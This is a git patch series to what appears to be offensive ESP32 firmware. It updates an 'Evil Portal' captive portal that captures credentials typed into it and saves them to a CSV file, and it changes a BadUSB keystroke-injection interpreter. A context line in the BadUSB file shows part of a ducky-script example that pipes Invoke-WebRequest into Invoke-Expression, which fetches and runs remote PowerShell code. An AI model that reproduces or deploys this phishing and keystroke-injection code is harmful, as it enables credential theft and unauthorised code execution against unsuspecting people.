From 6d322f4477c86d0d818bfd93c96bbaecf3f25d62 Mon Sep 17 00:00:00 2001
From: Pirata <104320209+bmorcelli@users.noreply.github.com>
Date: Fri, 7 Jun 2024 16:12:48 -0300
Subject: [PATCH 1/2] Update evil_portal.cpp
---
src/evil_portal.cpp | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/evil_portal.cpp b/src/evil_portal.cpp
index c0a4e57e..b121dd1a 100644
--- a/src/evil_portal.cpp
+++ b/src/evil_portal.cpp
@@ -231,10 +231,10 @@ String creds_GET() {
}
String ssid_GET() {
- return getHtmlContents("
Set a new SSID for NEMO Portal:
");
+ return getHtmlContents("Set a new SSID for Evil Portal:
");
}
String ssid_POST() {
- return getHtmlContents("NEMO Portal shutting down and restarting with SSID " + AP_name + ". Please reconnect.");
+ return getHtmlContents("Evil Portal shutting down and restarting with SSID " + AP_name + ". Please reconnect.");
}
String index_GET() {
From 6a21a893a266373075fde643eb993fdbd5d4f386 Mon Sep 17 00:00:00 2001
From: Pirata
Date: Tue, 11 Jun 2024 19:13:43 -0300
Subject: [PATCH 2/2] EP, BadUsb fix
# Evil Portal
Fixed some issues with arguments
# BadUsb
Increased speed and changed and fixed issue that prevented to use ENTER as Argument of a command
# OpenHaystack
Reactivated to StickCPlus 1.1, and now it reads key from LittleFS if SD Card is not inserted.
---
lib/Bad_Usb_Lib/USBHIDKeyboard.cpp | 4 +--
src/bad_usb.cpp | 40 +++++++++++++++---------------
src/evil_portal.cpp | 22 ++++++++++------
src/main.cpp | 2 +-
src/openhaystack.cpp | 9 +++++--
5 files changed, 44 insertions(+), 33 deletions(-)
diff --git a/lib/Bad_Usb_Lib/USBHIDKeyboard.cpp b/lib/Bad_Usb_Lib/USBHIDKeyboard.cpp
index ee65139a..19f151b3 100644
--- a/lib/Bad_Usb_Lib/USBHIDKeyboard.cpp
+++ b/lib/Bad_Usb_Lib/USBHIDKeyboard.cpp
@@ -211,9 +211,9 @@ void USBHIDKeyboard::releaseAll(void)
size_t USBHIDKeyboard::write(uint8_t c)
{
uint8_t p = press(c); // Keydown
- delay(70);
+ delay(15);
release(c); // Keyup
- delay(70);
+ delay(15);
return p; // just return the result of press() since release() almost always returns 1
}
diff --git a/src/bad_usb.cpp b/src/bad_usb.cpp
index 49a9b37e..e99cacdb 100644
--- a/src/bad_usb.cpp
+++ b/src/bad_usb.cpp
@@ -37,8 +37,6 @@ STRING Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.
*/
void key_input(FS fs, String bad_script) {
- delay(1000);
-
if (fs.exists(bad_script) && bad_script!="") {
File payloadFile = fs.open(bad_script, "r");
if (payloadFile) {
@@ -95,30 +93,32 @@ void key_input(FS fs, String bad_script) {
Argument = Argument.c_str();
ArgChar = Argument.charAt(0);
- if (Argument == "F1" || Argument == "F2" || Argument == "F3" || Argument == "F4" || Argument == "F5" || Argument == "F6" || Argument == "F7" || Argument == "F8" || Argument == "F9" || Argument == "F10" || Argument == "F11" || Argument == "F2" || Argument == "DELETE" || Argument == "TAB") { ArgIsCmd = true; }
+ if (Argument == "F1" || Argument == "F2" || Argument == "F3" || Argument == "F4" || Argument == "F5" || Argument == "F6" || Argument == "F7" || Argument == "F8" || Argument == "F9" || Argument == "F10" || Argument == "F11" || Argument == "F2" || Argument == "DELETE" || Argument == "TAB" || Argument == "ENTER") { ArgIsCmd = true; }
+
+ restart: // restart checks
if (strcmp(Cmd, "REM") == 0) { Serial.println(" // " + Argument); } else { cmdFail++; }
if (strcmp(Cmd, "DELAY") == 0) { delay(Argument.toInt()); } else { cmdFail++; }
if (strcmp(Cmd, "DEFAULTDELAY") == 0 || strcmp(Cmd, "DEFAULT_DELAY") == 0) delay(DEF_DELAY); else { cmdFail++; } //100ms
if (strcmp(Cmd, "STRING") == 0) { Kb.print(Argument);} else { cmdFail++; }
- if (strcmp(Cmd, "STRINGLN") == 0) { Kb.println(Argument); } else { cmdFail++; }
- if (strcmp(Cmd, "ENTER") == 0) { Kb.press(KEY_RETURN); Kb.releaseAll(); } else { cmdFail++; }
- if (strcmp(Cmd, "SHIFT") == 0) { Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} // Save Cmd into OldCmd and then set Cmd = Argument
- if (strcmp(Cmd, "ALT") == 0) { Kb.press(KEY_LEFT_ALT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} // This is made to turn the code faster and to recover
- if (strcmp(Cmd, "CTRL-ALT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} // the Cmd after the if else statements, in order to
- if (strcmp(Cmd, "CTRL-SHIFT") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}// the Cmd REPEAT work as intended.
- if (strcmp(Cmd, "CTRL-GUI") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "ALT-SHIFT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "ALT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "GUI-SHIFT") == 0) { Kb.press(KEY_LEFT_GUI); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "CTRL-ALT-SHIFT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "CTRL-ALT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "ALT-SHIFT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_SHIFT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "CTRL-SHIFT-GUI") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "GUI") == 0 || strcmp(Cmd, "WINDOWS") == 0) { Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "CTRL") == 0 || strcmp(Cmd, "CONTROL") == 0) { Kb.press(KEY_LEFT_CTRL); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
+ if (strcmp(Cmd, "STRINGLN") == 0) { Kb.println(Argument); } else { cmdFail++; }
+ if (strcmp(Cmd, "SHIFT") == 0) { Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;} // Save Cmd into OldCmd and then set Cmd = Argument
+ if (strcmp(Cmd, "ALT") == 0) { Kb.press(KEY_LEFT_ALT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;} // This is made to turn the code faster and to recover
+ if (strcmp(Cmd, "CTRL-ALT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;} // the Cmd after the if else statements, in order to
+ if (strcmp(Cmd, "CTRL-SHIFT") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}// the Cmd REPEAT work as intended.
+ if (strcmp(Cmd, "CTRL-GUI") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "ALT-SHIFT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "ALT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "GUI-SHIFT") == 0) { Kb.press(KEY_LEFT_GUI); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "CTRL-ALT-SHIFT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "CTRL-ALT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "ALT-SHIFT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_SHIFT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "CTRL-SHIFT-GUI") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "GUI") == 0 || strcmp(Cmd, "WINDOWS") == 0) { Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "CTRL") == 0 || strcmp(Cmd, "CONTROL") == 0) { Kb.press(KEY_LEFT_CTRL); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
if (strcmp(Cmd, "ESC") == 0 || strcmp(Cmd, "ESCAPE") == 0) {Kb.press(KEY_ESC);Kb.releaseAll(); } else { cmdFail++;}
+ if (strcmp(Cmd, "ENTER") == 0) { Kb.press(KEY_RETURN); Kb.releaseAll(); } else { cmdFail++; }
if (strcmp(Cmd, "DOWNARROW") == 0) { Kb.press(KEY_DOWN_ARROW); Kb.releaseAll();} else { cmdFail++;}
if (strcmp(Cmd, "DOWN") == 0) { Kb.press(KEY_DOWN_ARROW); Kb.releaseAll();} else { cmdFail++;}
if (strcmp(Cmd, "LEFTARROW") == 0) { Kb.press(KEY_LEFT_ARROW); Kb.releaseAll();} else { cmdFail++;}
@@ -256,7 +256,7 @@ void usb_setup() {
loopOptions(options,false,true,"Keyboard Layout");
if (!kbChosen) Kb.begin(); // starts the KeyboardLayout_en_US as default if nothing had beed chosen (cancel selection)
USB.begin();
-
+ displayRedStripe("Preparing",TFT_WHITE, FGCOLOR);
delay(2000);
key_input(*fs, bad_script);
diff --git a/src/evil_portal.cpp b/src/evil_portal.cpp
index c0a4e57e..f4407a86 100644
--- a/src/evil_portal.cpp
+++ b/src/evil_portal.cpp
@@ -19,13 +19,17 @@ void handleCreds() {
String csvLine = "";
last_cred="";
for (int i = 0; i < ep->args(); i++) {
- html_temp += ep->argName(i) + ": " + ep->arg(i) + "
\n";
- // Prepara dados para salvar no SD
- if (i != 0) {
- csvLine += ",";
+ String tmp=ep->argName(i);
+ if(tmp=="q" || tmp.startsWith("cup2") || tmp.startsWith("plain")) continue;
+ else {
+ html_temp += ep->argName(i) + ": " + ep->arg(i) + "
\n";
+ // Prepara dados para salvar no SD
+ if (i != 0) {
+ csvLine += ",";
+ }
+ csvLine += ep->argName(i) + ": " + ep->arg(i);
+ last_cred += ep->argName(i).substring(0,3) + ": " + ep->arg(i) + "\n";
}
- csvLine += ep->argName(i) + ": " + ep->arg(i);
- last_cred += ep->argName(i).substring(0,3) + ": " + ep->arg(i) + "\n";
}
html_temp += "\n";
saveToCSV("/Bruce_creds.csv", csvLine);
@@ -231,10 +235,10 @@ String creds_GET() {
}
String ssid_GET() {
- return getHtmlContents("Set a new SSID for NEMO Portal:
");
+ return getHtmlContents("Set a new SSID for Evil Portal:
");
}
String ssid_POST() {
- return getHtmlContents("NEMO Portal shutting down and restarting with SSID " + AP_name + ". Please reconnect.");
+ return getHtmlContents("Evil Portal shutting down and restarting with SSID " + AP_name + ". Please reconnect.");
}
String index_GET() {
@@ -251,6 +255,8 @@ String clear_GET() {
String email = "";
String password = "";
capturedCredentialsHtml = "";
+ if (LittleFS.begin()) if (LittleFS.exists("/Bruce_creds.csv")) LittleFS.remove("/Bruce_creds.csv");
+ if (SD.begin()) if (SD.exists("/Bruce_creds.csv")) SD.remove("/Bruce_creds.csv");
totalCapturedCredentials = 0;
return getHtmlContents("The credentials list has been reset.
Back to capturedCredentialsHtmlBack to Index");
}
diff --git a/src/main.cpp b/src/main.cpp
index fbb45bdb..9f42c770 100644
--- a/src/main.cpp
+++ b/src/main.cpp
@@ -273,8 +273,8 @@ void loop() {
options.push_back({"BadUSB", [=]() { usb_setup(); }});
options.push_back({"LED Control", [=]() { ledrgb_setup(); }}); //IncursioHack
options.push_back({"LED FLash", [=]() { ledrgb_flash(); }}); // IncursioHack
- options.push_back({"Openhaystack", [=]() { openhaystack_setup(); }});
#endif
+ options.push_back({"Openhaystack", [=]() { openhaystack_setup(); }});
options.push_back({"Main Menu", [=]() { backToMenu(); }});
delay(200);
loopOptions(options,false,true,"Others");
diff --git a/src/openhaystack.cpp b/src/openhaystack.cpp
index 04528dec..cf14212f 100644
--- a/src/openhaystack.cpp
+++ b/src/openhaystack.cpp
@@ -184,9 +184,14 @@ void openhaystack_setup()
sdcardSPI.begin(SDCARD_SCK, SDCARD_MISO, SDCARD_MOSI, SDCARD_CS); // start SPI communications
delay(10);
- SD.begin(SDCARD_CS, sdcardSPI);
- File file = SD.open("/pub.key");
+ File file;
+
+ if(SD.begin(SDCARD_CS, sdcardSPI)) file = SD.open("/pub.key");
+ else {
+ LittleFS.begin();
+ file = LittleFS.open("/pub.key");
+ }
if (!file) {
tft.setCursor(0, 0);